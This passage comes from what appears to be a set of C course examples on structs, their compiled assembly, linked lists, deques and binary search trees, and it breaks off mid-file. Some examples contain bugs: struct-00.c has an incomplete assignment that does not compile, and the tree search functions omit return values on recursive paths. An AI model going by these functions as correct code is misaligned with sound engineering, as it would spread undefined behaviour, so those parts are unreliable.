.cfi_def_cfa_register 6
call vuln
movl $0, %eax
popq %rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE2:
.size main, .-main
.ident "GCC: (Debian 14.2.0-19) 14.2.0"
.section .note.GNU-stack,"",@progbits
01 (04-05)
struct-00.cC / 11 lines
struct vec {
int x;
int y;
};
int main() {
struct vec v1;
v1.x = 1;
v1.y = ;
return 0;
}
struct-01.asmAssembly / 116 lines
struct: file format elf64-x86-64
Disassembly of section .init:
0000000000001000 <_init>:
1000: 48 83 ec 08 sub $0x8,%rsp
1004: 48 8b 05 c5 2f 00 00 mov 0x2fc5(%rip),%rax # 3fd0 <__gmon_start__@Base>
100b: 48 85 c0 test %rax,%rax
100e: 74 02 je 1012 <_init+0x12>
1010: ff d0 call *%rax
1012: 48 83 c4 08 add $0x8,%rsp
1016: c3 ret
Disassembly of section .plt:
0000000000001020 <.plt>:
1020: ff 35 ca 2f 00 00 push 0x2fca(%rip) # 3ff0 <_GLOBAL_OFFSET_TABLE_+0x8>
1026: ff 25 cc 2f 00 00 jmp *0x2fcc(%rip) # 3ff8 <_GLOBAL_OFFSET_TABLE_+0x10>
102c: 0f 1f 40 00 nopl 0x0(%rax)
Disassembly of section .plt.got:
0000000000001030 <__cxa_finalize@plt>:
1030: ff 25 aa 2f 00 00 jmp *0x2faa(%rip) # 3fe0 <__cxa_finalize@GLIBC_2.2.5>
1036: 66 90 xchg %ax,%ax
Disassembly of section .text:
0000000000001040 <_start>:
1040: 31 ed xor %ebp,%ebp
1042: 49 89 d1 mov %rdx,%r9
1045: 5e pop %rsi
1046: 48 89 e2 mov %rsp,%rdx
1049: 48 83 e4 f0 and $0xfffffffffffffff0,%rsp
104d: 50 push %rax
104e: 54 push %rsp
104f: 45 31 c0 xor %r8d,%r8d
1052: 31 c9 xor %ecx,%ecx
1054: 48 8d 3d ce 00 00 00 lea 0xce(%rip),%rdi # 1129 <main>
105b: ff 15 5f 2f 00 00 call *0x2f5f(%rip) # 3fc0 <__libc_start_main@GLIBC_2.34>
1061: f4 hlt
1062: 66 2e 0f 1f 84 00 00 cs nopw 0x0(%rax,%rax,1)
1069: 00 00 00
106c: 0f 1f 40 00 nopl 0x0(%rax)
0000000000001070 <deregister_tm_clones>:
1070: 48 8d 3d 99 2f 00 00 lea 0x2f99(%rip),%rdi # 4010 <__TMC_END__>
1077: 48 8d 05 92 2f 00 00 lea 0x2f92(%rip),%rax # 4010 <__TMC_END__>
107e: 48 39 f8 cmp %rdi,%rax
1081: 74 15 je 1098 <deregister_tm_clones+0x28>
1083: 48 8b 05 3e 2f 00 00 mov 0x2f3e(%rip),%rax # 3fc8 <_ITM_deregisterTMCloneTable@Base>
108a: 48 85 c0 test %rax,%rax
108d: 74 09 je 1098 <deregister_tm_clones+0x28>
108f: ff e0 jmp *%rax
1091: 0f 1f 80 00 00 00 00 nopl 0x0(%rax)
1098: c3 ret
1099: 0f 1f 80 00 00 00 00 nopl 0x0(%rax)
00000000000010a0 <register_tm_clones>:
10a0: 48 8d 3d 69 2f 00 00 lea 0x2f69(%rip),%rdi # 4010 <__TMC_END__>
10a7: 48 8d 35 62 2f 00 00 lea 0x2f62(%rip),%rsi # 4010 <__TMC_END__>
10ae: 48 29 fe sub %rdi,%rsi
10b1: 48 89 f0 mov %rsi,%rax
10b4: 48 c1 ee 3f shr $0x3f,%rsi
10b8: 48 c1 f8 03 sar $0x3,%rax
10bc: 48 01 c6 add %rax,%rsi
10bf: 48 d1 fe sar $1,%rsi
10c2: 74 14 je 10d8 <register_tm_clones+0x38>
10c4: 48 8b 05 0d 2f 00 00 mov 0x2f0d(%rip),%rax # 3fd8 <_ITM_registerTMCloneTable@Base>
10cb: 48 85 c0 test %rax,%rax
10ce: 74 08 je 10d8 <register_tm_clones+0x38>
10d0: ff e0 jmp *%rax
10d2: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1)
10d8: c3 ret
10d9: 0f 1f 80 00 00 00 00 nopl 0x0(%rax)
00000000000010e0 <__do_global_dtors_aux>:
10e0: f3 0f 1e fa endbr64
10e4: 80 3d 25 2f 00 00 00 cmpb $0x0,0x2f25(%rip) # 4010 <__TMC_END__>
10eb: 75 2b jne 1118 <__do_global_dtors_aux+0x38>
10ed: 55 push %rbp
10ee: 48 83 3d ea 2e 00 00 cmpq $0x0,0x2eea(%rip) # 3fe0 <__cxa_finalize@GLIBC_2.2.5>
10f5: 00
10f6: 48 89 e5 mov %rsp,%rbp
10f9: 74 0c je 1107 <__do_global_dtors_aux+0x27>
10fb: 48 8b 3d 06 2f 00 00 mov 0x2f06(%rip),%rdi # 4008 <__dso_handle>
1102: e8 29 ff ff ff call 1030 <__cxa_finalize@plt>
1107: e8 64 ff ff ff call 1070 <deregister_tm_clones>
110c: c6 05 fd 2e 00 00 01 movb $0x1,0x2efd(%rip) # 4010 <__TMC_END__>
1113: 5d pop %rbp
1114: c3 ret
1115: 0f 1f 00 nopl (%rax)
1118: c3 ret
1119: 0f 1f 80 00 00 00 00 nopl 0x0(%rax)
0000000000001120 <frame_dummy>:
1120: f3 0f 1e fa endbr64
1124: e9 77 ff ff ff jmp 10a0 <register_tm_clones>
0000000000001129 <main>:
1129: 55 push %rbp
112a: 48 89 e5 mov %rsp,%rbp
112d: c7 45 f8 01 00 00 00 movl $0x1,-0x8(%rbp)
1134: c7 45 fc 02 00 00 00 movl $0x2,-0x4(%rbp)
113b: b8 00 00 00 00 mov $0x0,%eax
1140: 5d pop %rbp
1141: c3 ret
Disassembly of section .fini:
0000000000001144 <_fini>:
1144: 48 83 ec 08 sub $0x8,%rsp
1148: 48 83 c4 08 add $0x8,%rsp
114c: c3 ret
struct-01.cC / 15 lines
#include <stdio.h>
typedef struct {
int x, y, z;
} struc;
int main()
{
struc s;
s.x = 1;
s.y = 2;
s.z = 3;
printf("%d %d %d\n", s.x, s.y, s.z);
return 0;
}
struct-01.sAssembly / 15 lines
.file "struct.c"
.text
.globl main
.type main, @function
main:
pushq %rbp
movq %rsp, %rbp
movl $1, -8(%rbp)
movl $2, -4(%rbp)
movl $0, %eax
popq %rbp
ret
.size main, .-main
.ident "GCC: (Debian 14.2.0-19) 14.2.0"
.section .note.GNU-stack,"",@progbits
struct-02.cC / 17 lines
#include <stdio.h>
#include <stdlib.h>
typedef struct {
int x, y, z;
} struc;
int main()
{
struc *s;
s = malloc(sizeof(struc));
s->x = 1;
s->y = 2;
s->z = 3;
printf("%d %d %d\n", s->x, s->y, s->z);
return 0;
}
struct-03.cC / 25 lines
#include <stdio.h>
typedef struct {
int a, b, c, d;
} struc;
void modify_struct(struc s)
{
s.a = 5;
s.b = 6;
s.c = 7;
s.d = 8;
}
int main()
{
struc s;
s.a = 1;
s.b = 2;
s.c = 3;
s.d = 4;
modify_struct(s);
printf("%d %d %d %d\n", s.a, s.b, s.c, s.d);
return 0;
}
02 (04-05)
list-00.cC / 252 lines
#include <stdio.h>
#include <stdlib.h>
struct list {
int data;
struct list *next;
};
void prtlstchr(struct list *first) {
for (; first; first = first->next)
putchar(first->data);
printf("\n");
}
void prtlst(struct list *first) {
for (; first; first = first->next)
printf("%d ", first->data);
printf("\n");
}
void prtlst2(struct list *first) {
if (first) {
printf("%d ", first->data);
prtlst2(first->next);
} else {
printf("\n");
}
}
struct list *get2lst() {
int c;
struct list *tmp, *first;
first = NULL;
while ((c = getchar()) != EOF) {
tmp = malloc(sizeof(*tmp));
tmp->data = c;
tmp->next = first;
first = tmp;
}
return first;
}
struct list *get2lst2() {
int c;
struct list *tmp, *first, *last;
first = NULL;
while ((c = getchar()) != EOF) {
tmp = malloc(sizeof(*tmp));
tmp->data = c;
tmp->next = NULL;
if (!first)
first = tmp;
else
last->next = tmp;
last = tmp;
}
return first;
}
struct list *arr2lst(int a[], int n) {
struct list *tmp, *first;
first = NULL;
for (int i = n-1; i >= 0; i--) {
tmp = malloc(sizeof(*tmp));
tmp->data = a[i];
tmp->next = first;
first = tmp;
}
return first;
}
struct list *arr2lst2(int a[], int n) {
struct list *tmp, *first, *last;
first = NULL;
for (int i = 0; i < n; i++) {
tmp = malloc(sizeof(*tmp));
tmp->data = a[i];
tmp->next = NULL;
if (!first)
first = tmp;
else
last->next = tmp;
last = tmp;
}
return first;
}
struct list *arr2lst3(int *a, int n) {
struct list *tmp;
if (!n)
return NULL;
tmp = malloc(sizeof(*tmp));
tmp->data = *a;
tmp->next = arr2lst3(a + 1, n - 1);
return tmp;
}
struct list *arr2lst4(int *a, int n) {
struct list *tmp;
if (!n)
return NULL;
tmp = malloc(sizeof(*tmp));
tmp->data = *a;
tmp->next = arr2lst4(a + 1, n - 1);
return tmp;
}
int sumlst(struct list* p) {
int sum = 0;
for ( ; p ; p = p->next)
sum += p->data;
return sum;
}
int sumlst2(struct list* p) {
if (!p)
return 0;
return p->data + sumlst2(p->next);
}
void clnlst(struct list* p) {
struct list *tmp;
while (p) {
tmp = p;
p = p->next;
free(tmp);
}
}
void clnlst2(struct list* p) {
if (p) {
clnlst2(p->next);
free(p);
}
}
struct list *rmvitm(struct list *p) {
struct list *tmp;
tmp = p;
p = p->next;
free(tmp);
return p;
}
struct list *insitm(struct list *p, int data) {
struct list *tmp;
tmp = malloc(sizeof *tmp);
tmp->data = data;
tmp->next = p;
return tmp;
}
struct list *poslst(struct list *p) {
struct list *tmp, *tmp2;
while (p) {
if (p->data < 0)
p = rmvitm(p);
else
break;
}
if (tmp = p)
while (tmp2 = tmp->next) {
if (tmp2->data < 0)
tmp->next = rmvitm(tmp2);
else
tmp = tmp->next;
}
return p;
}
void poslst2(struct list **p) {
struct list *tmp;
while (*p) {
if ((*p)->data < 0) {
tmp = *p;
*p = (*p)->next;
free(tmp);
} else
p = &(*p)->next;
}
}
void poslst3(struct list **p) {
while (*p) {
if ((*p)->data < 0)
*p = rmvitm(*p);
else
p = &(*p)->next;
}
}
void inslst(struct list **p, int data) {
while (*p) {
if (data < (*p)->data) {
break;
}
p = &(*p)->next;
}
*p = insitm(*p, data);
}
void poslst4(struct list **p) {
if (*p) {
poslst4(&(*p)->next);
if ((*p)->data < 0)
*p = rmvitm(*p);
}
}
struct list *poslst5(struct list *p) {
struct list *t = p;
if (p) {
p->next = poslst5(p->next);
if (p->data < 0) {
t = rmvitm(p);
}
}
return t;
}
void poslst6(struct list **pl) {
if (!*pl)
return;
poslst6(&(*pl)->next);
if ((*pl)->data < 0) {
struct list* tmp = *pl;
*pl = (*pl)->next;
free(tmp);
}
}
int main() {
struct list *p;
int a[] = {-1, 2, 3, -2, 4};
int n = sizeof(a)/sizeof(a[0]);
p = arr2lst4(a, n);
prtlst2(p);
inslst(&p, 5);
prtlst2(p);
p = poslst5(p);
prtlst2(p);
clnlst2(p);
return 0;
}
list-01.cC / 127 lines
#include <stdio.h>
#include <stdlib.h>
struct lst2 {
int x;
struct lst2 *n, *p;
};
struct dp {
struct lst2 *f, *l;
};
void prtdp(struct dp *p) {
struct lst2 *f = p->f;
for ( ; f; f = f->n)
printf("%d ", f->x);
printf("\n");
}
void prtdpr(struct dp *p) {
struct lst2 *l = p->l;
for ( ; l; l = l->p)
printf("%d ", l->x);
printf("\n");
}
struct dp *initdp() {
struct dp *p = malloc(sizeof(*p));
p->f = NULL;
p->l = NULL;
return p;
}
struct dp *appdp(const int a[], int n) {
struct lst2 *t;
struct dp *p = initdp();
for (int i = 0; i < n; i++) {
t = malloc(sizeof(*t));
t->x = a[i];
t->n = NULL;
if (!p->f) {
p->f = t;
t->p = NULL;
} else {
p->l->n = t;
t->p = p->l;
}
p->l = t;
}
return p;
}
void insrht(struct dp *p, struct lst2 *c, int x) {
struct lst2 *t;
t = malloc(sizeof(*t));
t->x = x;
t->p = c;
if (c) {
t->n = c->n;
c->n = t;
}
else {
t->n = p->f;
p->f = t;
}
if (t->n)
t->n->p = t;
else
p->l = t;
}
void inslft(struct dp *p, struct lst2 *c, int x) {
struct lst2 *t;
t = malloc(sizeof(*t));
t->x = x;
t->n = c;
if (c) {
t->p = c->p;
c->p = t;
} else {
t->p = p->l;
p->l = t;
}
if (t->p)
t->p->n = t;
else
p->f = t;
}
void rmvdp(struct dp *p, struct lst2 *c, int *x) {
struct lst2 *t;
t = c;
*x = t->x;
if (c->p)
c->p->n = c->n;
else
p->f = c->n;
if (c->n)
c->n->p = c->p;
else
p->l = c->p;
free(t);
}
int main() {
int x;
struct dp *p;
int a[] = {25, 36, 49};
int n = sizeof(a)/sizeof(*a);
p = appdp(a, n);
insrht(p, p->f->n, 44);
prtdp(p);
rmvdp(p, p->l, &x);
printf("%d\n", x);
prtdp(p);
return 0;
}
list-02.cC / 94 lines
#include <stdio.h>
#include <stdlib.h>
typedef struct node_s {
int value;
struct node_s *next;
} node;
void *xmalloc(int size)
{
void *p;
p = malloc(size);
if (!p) {
fprintf(stderr, "Could not allocate dynamic memory\n");
exit(1);
}
return p;
}
int str2int(const char *s)
{
char c;
int sign = 1;
int res = 0;
if (*s == '-') {
sign = -1;
s++;
}
for (; *s; s++) {
res *= 10;
c = *s;
if (c < '0' || c > '9') {
fprintf(stderr, "Count not convert string to integer\n");
exit(2);
}
res += c - '0';
}
return sign * res;
}
void node_add(node **p, int value)
{
node *tmp;
tmp = xmalloc(sizeof(node));
tmp->value = value;
tmp->next = *p;
*p = tmp;
}
void node_print(node *p)
{
for (; p; p = p->next)
printf("%d ", p->value);
printf("\n");
}
void node_remove(node **p)
{
node *tmp = *p;
*p = (*p)->next;
free(tmp);
}
void node_clean(node **p)
{
while (*p)
node_remove(p);
}
void node_remove_negative(node **p)
{
while (*p)
if ((*p)->value < 0)
node_remove(p);
else
p = &(*p)->next;
}
int main(int argc, char **argv)
{
int i;
node *p = NULL;
for (i = 1; i < argc; i++)
node_add(&p, str2int(argv[i]));
node_print(p);
node_remove_negative(&p);
node_print(p);
node_clean(&p);
return 0;
}
list-03.cC / 44 lines
#include <stdio.h>
#include <stdlib.h>
typedef struct node_s {
int value;
struct node_s *next;
} node;
void node_add(node **p, int value)
{
node *tmp;
tmp = malloc(sizeof(node));
tmp->value = value;
tmp->next = *p;
*p = tmp;
}
void node_print(const node *p)
{
for (; p; p = p->next)
printf("%d ", p->value);
printf("\n");
}
void node_clean(node *p)
{
node *tmp;
for (; p; p = tmp) {
tmp = p->next;
free(p);
}
}
int main()
{
node *p = NULL;
node_add(&p, 1);
node_add(&p, 2);
node_print(p);
node_clean(p);
return 0;
}
list-04.cC / 127 lines
#include <stdio.h>
#include <stdlib.h>
typedef struct node_s {
int value;
struct node_s *next;
} node;
typedef struct {
node *first, *last;
} list;
void *xmalloc(int size)
{
void *p;
p = malloc(size);
if (!p) {
fprintf(stderr, "Could not allocate dynamic memory\n");
exit(1);
}
return p;
}
int str2int(const char *s)
{
char c;
int sign = 1;
int res = 0;
if (*s == '-') {
sign = -1;
s++;
}
for (; *s; s++) {
res *= 10;
c = *s;
if (c < '0' || c > '9') {
fprintf(stderr, "Count not convert string to integer\n");
exit(2);
}
res += c - '0';
}
return sign * res;
}
void list_init(list *l)
{
l->first = NULL;
l->last = NULL;
}
void node_add(list *l, int value)
{
node *tmp;
tmp = xmalloc(sizeof(node));
tmp->value = value;
tmp->next = NULL;
if (!l->first)
l->first = tmp;
else
l->last->next = tmp;
l->last = tmp;
}
void node_print(list l)
{
node *p;
for (p = l.first; p; p = p->next)
printf("%d ", p->value);
printf("\n");
}
void node_remove(node **p)
{
node *tmp = *p;
*p = (*p)->next;
free(tmp);
}
void node_add_1(node *p) { p->value++; }
void node_modify(list *l)
{
node *p;
for (p = l->first; p; p = p->next)
node_add_1(p);
}
void node_clean(list *l)
{
node *p, *tmp;
for (p = l->first; p; p = tmp) {
tmp = p->next;
free(p);
}
list_init(l);
}
void node_remove_negative(list *l)
{
node **p;
for (p = &l->first; *p;)
if ((*p)->value < 0)
node_remove(p);
else
p = &(*p)->next;
}
int main(int argc, char **argv)
{
int i;
list l;
list_init(&l);
for (i = 1; i < argc; i++)
node_add(&l, str2int(argv[i]));
node_print(l);
node_remove_negative(&l);
node_print(l);
node_modify(&l);
node_print(l);
node_clean(&l);
return 0;
}
list-05.cC / 96 lines
#include <stdio.h>
#include <stdlib.h>
typedef struct node_s {
int value;
struct node_s *next;
} node;
typedef struct {
node *first, *last;
} list;
void *xmalloc(int size)
{
void *p;
p = malloc(size);
if (!p) {
fprintf(stderr, "Could not allocate dynamic memory\n");
exit(1);
}
return p;
}
int str2int(const char *s)
{
char c;
int sign = 1;
int res = 0;
if (*s == '-') {
sign = -1;
s++;
}
for (; *s; s++) {
res *= 10;
c = *s;
if (c < '0' || c > '9') {
fprintf(stderr, "Could not convert string to integer\n");
exit(2);
}
res += c - '0';
}
return sign * res;
}
void list_init(list *l)
{
l->first = NULL;
l->last = NULL;
}
void node_add(list *l, int value)
{
node *tmp;
tmp = xmalloc(sizeof(node));
tmp->value = value;
tmp->next = NULL;
if (!l->first)
l->first = tmp;
else
l->last->next = tmp;
l->last = tmp;
}
void node_print(const list *l)
{
node *p;
for (p = l->first; p; p = p->next)
printf("%d ", p->value);
printf("\n");
}
void node_clean(list *l)
{
node *p, *tmp;
for (p = l->first; p; p = tmp) {
tmp = p->next;
free(p);
}
list_init(l);
}
int main(int argc, char **argv)
{
int i;
list l;
list_init(&l);
for (i = 1; i < argc; i++)
node_add(&l, str2int(argv[i]));
node_print(&l);
node_clean(&l);
return 0;
}
list-06.cC / 134 lines
#include <stdio.h>
#include <stdlib.h>
struct list {
int data;
struct list *next;
};
void prtlst(struct list *ptr) {
while (ptr) {
printf("%d ", ptr->data);
ptr = ptr->next;
}
printf("\n");
}
struct list *arr2lst(const int a[], int n) {
struct list *tmp, *first = NULL;
for (int i = n-1; i >= 0; i--) {
tmp = malloc(sizeof(*tmp));
tmp->data = a[i];
tmp->next = first;
first = tmp;
}
return first;
}
struct list *arr2lst2(const int a[], int n) {
struct list *first, *last, *tmp;
first = NULL;
for (int i = 0; i < n; i++) {
tmp = malloc(sizeof(*tmp));
tmp->data = a[i];
tmp->next = NULL;
if (!first)
first = tmp;
else
last->next = tmp;
last = tmp;
}
return first;
}
struct list* arr2lst3(const int a[], int n) {
struct list *tmp;
if (!n)
return NULL;
tmp = malloc(sizeof(*tmp));
tmp->data = *a;
tmp->next = arr2lst3(a + 1, n - 1);
return tmp;
}
long sumlst(const struct list* l) {
long sum = 0;
while (l) {
sum += l->data;
l = l->next;
}
return sum;
}
void delneglst(struct list **pl) {
while (*pl) {
if ((*pl)->data < 0) {
struct list* tmp = *pl;
*pl = (*pl)->next;
free(tmp);
}
else
pl = &(*pl)->next;
}
}
void delneglst2(struct list **pl) {
if (!*pl)
return;
if ((*pl)->data < 0) {
struct list* tmp = *pl;
*pl = (*pl)->next;
free(tmp);
}
delneglst2(&(*pl)->next);
}
void delneglst3(struct list *l) {
struct list *tmp, *tmp2;
while (l) {
if (l->data < 0) {
tmp = l;
l = l->next;
free(tmp);
} else {
break;
}
}
if (l) {
while (tmp = l->next) {
if (tmp->data < 0) {
tmp2 = tmp;
tmp = tmp->next;
free(tmp2);
l->next = tmp;
} else {
l = l->next;
}
}
}
}
struct list *delneglst4(struct list *l) {
struct list *res = l;
if (l) {
l->next = delneglst4(l->next);
if (l->data < 0) {
res = l->next;
free(l);
}
}
return res;
}
int main() {
struct list *l = NULL;
int a[] = {1, -3, 2, -1, 3, 4};
int n = sizeof(a)/sizeof(a[0]);
l = arr2lst3(a, n);
prtlst(l);
l = delneglst4(l);
prtlst(l);
return 0;
}
list-07.cC / 178 lines
#include <stdio.h>
#include <stdlib.h>
struct list {
int data;
struct list *next;
};
void prtlstchr(struct list *first) {
for (; first; first = first->next)
putchar(first->data);
printf("\n");
}
void prtlst(struct list *first) {
for (; first; first = first->next)
printf("%d ", first->data);
printf("\n");
}
void prtlst2(struct list *first) {
if (first) {
printf("%d ", first->data);
prtlst2(first->next);
} else {
printf("\n");
}
}
struct list *get2lst() {
int c;
struct list *tmp, *first;
first = NULL;
while ((c = getchar()) != EOF) {
tmp = malloc(sizeof(*tmp));
tmp->data = c;
tmp->next = first;
first = tmp;
}
return first;
}
struct list *get2lst2() {
int c;
struct list *tmp, *first, *last;
first = NULL;
while ((c = getchar()) != EOF) {
tmp = malloc(sizeof(*tmp));
tmp->data = c;
tmp->next = NULL;
if (!first)
first = tmp;
else
last->next = tmp;
last = tmp;
}
return first;
}
struct list *arr2lst(int a[], int n) {
struct list *tmp, *first;
first = NULL;
for (int i = n-1; i >= 0; i--) {
tmp = malloc(sizeof(*tmp));
tmp->data = a[i];
tmp->next = first;
first = tmp;
}
return first;
}
struct list *arr2lst2(int a[], int n) {
struct list *tmp, *first, *last;
first = NULL;
for (int i = 0; i < n; i++) {
tmp = malloc(sizeof(*tmp));
tmp->data = a[i];
tmp->next = NULL;
if (!first)
first = tmp;
else
last->next = tmp;
last = tmp;
}
return first;
}
struct list *arr2lst3(int *a, int n) {
struct list *tmp;
if (!n)
return NULL;
tmp = malloc(sizeof(*tmp));
tmp->data = *a;
tmp->next = arr2lst3(a + 1, n - 1);
return tmp;
}
struct list *arr2lst4(int *a, int n) {
struct list *tmp;
if (!n)
return NULL;
tmp = malloc(sizeof(*tmp));
tmp->data = *a;
tmp->next = arr2lst4(a + 1, n - 1);
return tmp;
}
int sumlst(struct list* p) {
int sum = 0;
for ( ; p ; p = p->next)
sum += p->data;
return sum;
}
int sumlst2(struct list* p) {
if (!p)
return 0;
return p->data + sumlst2(p->next);
}
void clnlst(struct list* p) {
struct list *tmp;
while (p) {
tmp = p;
p = p->next;
free(tmp);
}
}
void clnlst2(struct list* p) {
if (p) {
clnlst2(p->next);
free(p);
}
}
struct list *rmvitm(struct list *p) {
struct list *tmp;
tmp = p;
p = p->next;
free(tmp);
return p;
}
struct list *poslst(struct list *p) {
struct list *tmp, *tmp2;
while (p) {
if (p->data < 0)
p = rmvitm(p);
else
break;
}
if (tmp = p)
while (tmp2 = tmp->next) {
if (tmp2->data < 0)
tmp->next = rmvitm(tmp2);
else
tmp = tmp->next;
}
return p;
}
int main() {
struct list *p;
int a[] = {-1, 2, 3, -2, 4};
int n = sizeof(a)/sizeof(a[0]);
p = arr2lst4(a, n);
prtlst2(p);
p = poslst(p);
prtlst2(p);
clnlst2(p);
return 0;
}
03 (04-05)
deque.cC / 111 lines
#include <stdio.h>
#include <stdlib.h>
struct lst2 {
int x;
struct lst2 *n, *p;
};
struct dq {
struct lst2 *f, *l;
};
struct dq *dqini() {
struct dq *d;
d = malloc(sizeof(*d));
d->f = NULL;
d->l = NULL;
return d;
}
int dqemp(struct dq *d) {
if (d->f)
return 0;
else
return 1;
}
void dqpsf(struct dq *d, int x) {
struct lst2 *t;
t = malloc(sizeof(*t));
t->x = x;
t->p = NULL;
t->n = d->f;
if (d->f) {
d->f->p = t;
} else {
d->l = t;
}
d->f = t;
}
void dqpsb(struct dq *d, int x) {
struct lst2 *t;
t = malloc(sizeof(*t));
t->x = x;
t->n = NULL;
t->p = d->l;
if (d->l) {
d->l->n = t;
} else {
d->f = t;
}
d->l = t;
}
void dqppf(struct dq *d, int *x) {
struct lst2 *t;
t = d->f;
*x = t->x;
d->f = d->f->n;
if (d->f)
d->f->p = NULL;
else
d->l = NULL;
free(t);
}
void dqppb(struct dq *d, int *x) {
struct lst2 *t;
t = d->l;
*x = t->x;
d->l = d->l->p;
if (d->l)
d->l->n = NULL;
else
d->f = NULL;
free(t);
}
int main() {
int x;
int a[] = {1, 2, 3, 4};
int n = sizeof(a)/sizeof(*a);
struct dq *d;
d = dqini();
for (int i = 0; i < n; i++) {
dqpsb(d, a[i]);
}
for (int i = 0; i < n; i++) {
if (!dqemp(d)) {
dqppf(d, &x);
printf("%d ", x);
}
}
printf("\n");
return 0;
}
doubly_linked_list.cC / 115 lines
#include <stdio.h>
#include <stdlib.h>
struct list_item {
int value;
struct list_item *prev, *next;
};
struct doubly_linked_list {
struct list_item *first, *last;
};
void *xmalloc(int size)
{
void *p;
p = malloc(size);
if (!p) {
fprintf(stderr, "Could not allocate dynamic memory\n");
exit(1);
}
return p;
}
void init_list(struct doubly_linked_list *p)
{
p->first = NULL;
p->last = NULL;
}
void print_list(const struct doubly_linked_list *p)
{
struct list_item *tmp;
for (tmp = p->first; tmp; tmp = tmp->next)
printf("%d ", tmp->value);
printf("\n");
}
void insert_right(struct doubly_linked_list *p, struct list_item *curr,
int value)
{
struct list_item *tmp;
tmp = xmalloc(sizeof(*tmp));
tmp->value = value;
tmp->prev = curr;
if (curr) {
tmp->next = curr->next;
curr->next = tmp;
}
else {
tmp->next = p->first;
p->first = tmp;
}
if (tmp->next)
tmp->next->prev = tmp;
else
p->last = tmp;
}
void insert_left(struct doubly_linked_list *p, struct list_item *curr,
int value)
{
struct list_item *tmp;
tmp = xmalloc(sizeof(*tmp));
tmp->value = value;
tmp->next = curr;
if (curr) {
tmp->prev = curr->prev;
curr->prev = tmp;
} else {
tmp->prev = p->last;
p->last = tmp;
}
if (tmp->prev)
tmp->prev->next = tmp;
else
p->first = tmp;
}
void remove_item(struct doubly_linked_list *p, struct list_item *curr)
{
if (curr->prev)
curr->prev->next = curr->next;
else
p->first = curr->next;
if (curr->next)
curr->next->prev = curr->prev;
else
p->last = curr->prev;
free(curr);
}
int main()
{
struct doubly_linked_list l;
init_list(&l);
insert_right(&l, l.last, 1);
insert_right(&l, l.last, 2);
insert_right(&l, l.last, 3);
insert_right(&l, l.last, 4);
remove_item(&l, l.last->prev);
insert_left(&l, l.first, 5);
insert_left(&l, l.first, 6);
insert_left(&l, l.first, 7);
insert_left(&l, l.first, 8);
print_list(&l);
return 0;
}
Book example: bintree.c
bintree.cC / 111 lines
#include <stdio.h>
#include <stdlib.h>
struct node {
int val;
struct node *left, *right;
};
void int_bin_tree_add(struct node **root, int n)
{
if(!*root) {
*root = (struct node*) malloc(sizeof(**root));
(*root)->val = n;
(*root)->left = NULL;
(*root)->right = NULL;
return;
}
if((*root)->val == n)
return;
if(n < (*root)->val)
int_bin_tree_add(&(*root)->left, n);
else
int_bin_tree_add(&(*root)->right, n);
}
void int_bin_tree_print_rec(struct node *r)
{
if(!r)
return;
int_bin_tree_print_rec(r->left);
printf("%d ", r->val);
int_bin_tree_print_rec(r->right);
}
void int_bin_tree_print_loop(struct node *r)
{
enum state { start, left_visited, completed };
struct backpath {
struct node *p;
enum state st;
struct backpath *next;
};
struct backpath *bp, *t;
if(!r)
return;
bp = malloc(sizeof(*bp));
bp->p = r;
bp->st = start;
bp->next = NULL;
while(bp) {
switch(bp->st) {
case start:
bp->st = left_visited;
if(bp->p->left) {
t = malloc(sizeof(*t));
t->p = bp->p->left;
t->st = start;
t->next = bp;
bp = t;
continue;
}
/* no break here */
case left_visited:
printf("%d ", bp->p->val);
bp->st = completed;
if(bp->p->right) {
t = malloc(sizeof(*t));
t->p = bp->p->right;
t->st = start;
t->next = bp;
bp = t;
continue;
}
/* no break here */
case completed:
t = bp;
bp = bp->next;
free(t);
}
}
}
void int_bin_tree_dispose(struct node *r)
{
if(!r)
return;
int_bin_tree_dispose(r->left);
int_bin_tree_dispose(r->right);
free(r);
}
int main()
{
static const int vals[] = {
50, 25, 75, 15, 30, 60, 90, 10, 20, 40,
60, 70, 80, 95, 5, 35, 45, 55, 65, 85
};
struct node *root = NULL;
int i;
for(i = 0; i < sizeof(vals) / sizeof(*vals); i++)
int_bin_tree_add(&root, vals[i]);
int_bin_tree_print_rec(root); printf("\n");
int_bin_tree_print_loop(root); printf("\n");
int_bin_tree_dispose(root);
return 0;
}
04 (04-05)
tree-00.cC / 106 lines
#include <stdio.h>
#include <stdlib.h>
struct tree {
int data;
struct tree *left, *right;
};
void init_tree(struct tree **root) {
*root = NULL;
}
void init_branch(struct tree **root, int data) {
*root = malloc(sizeof **root);
(*root)->data = data;
(*root)->left = NULL;
(*root)->right = NULL;
}
void print_tree(struct tree *root) {
if (!root)
return;
print_tree(root->left);
printf("%d\n", root->data);
print_tree(root->right);
}
int sum_tree(struct tree *root) {
int sum = 0;
if (!root)
return 0;
sum += sum_tree(root->left);
sum += root->data;
sum += sum_tree(root->right);
return sum;
}
int search_tree(struct tree *root, int data) {
if (!root)
return 0;
else if (data < root->data)
search_tree(root->left, data);
else if (data > root->data)
search_tree(root->right, data);
else
return 1;
}
int insert_tree(struct tree **root, int data) {
int res;
if (!(*root)) {
init_branch(root, data);
res = 1;
} else if (data < (*root)->data)
res = insert_tree(&(*root)->left, data);
else if (data > (*root)->data)
res = insert_tree(&(*root)->right, data);
else
res = 0;
return res;
}
struct tree **search_tree2(struct tree **root, int data) {
if (!*root || (*root)->data == data)
return root;
else if (data < (*root)->data)
root = search_tree2(&(*root)->left, data);
else if (data > (*root)->data)
root = search_tree2(&(*root)->right, data);
}
int in_tree2(struct tree *root, int data) {
struct tree **pos = search_tree2(&root, data);
if (*pos)
return 1;
else
return 0;
}
int insert_tree2(struct tree **root, int data) {
struct tree **pos = search_tree2(root, data);
if (!*pos) {
init_branch(pos, data);
return 1;
} else
return 0;
}
int main() {
int res;
struct tree *root;
init_tree(&root);
insert_tree2(&root, 4);
insert_tree2(&root, 1);
insert_tree2(&root, 5);
insert_tree2(&root, 3);
insert_tree2(&root, 2);
print_tree(root);
res = in_tree2(root, 7);
printf("%d\n", res);
res = sum_tree(root);
printf("%d\n", res);
return 0;
}
tree-01.cC / 186 lines
#include <stdio.h>
#include <stdlib.h>
struct node {
int val;
struct node *left, *right;
};
struct list {
struct node *val;
struct list *next;
};
void init_node(struct node **r, int val) {
*r = malloc(sizeof **r);
(*r)->val = val;
(*r)->left = NULL;
(*r)->right = NULL;
}
void push_list(struct list **p, struct node *val) {
struct list *tmp;
tmp = malloc(sizeof *tmp);
tmp->val = val;
tmp->next = *p;
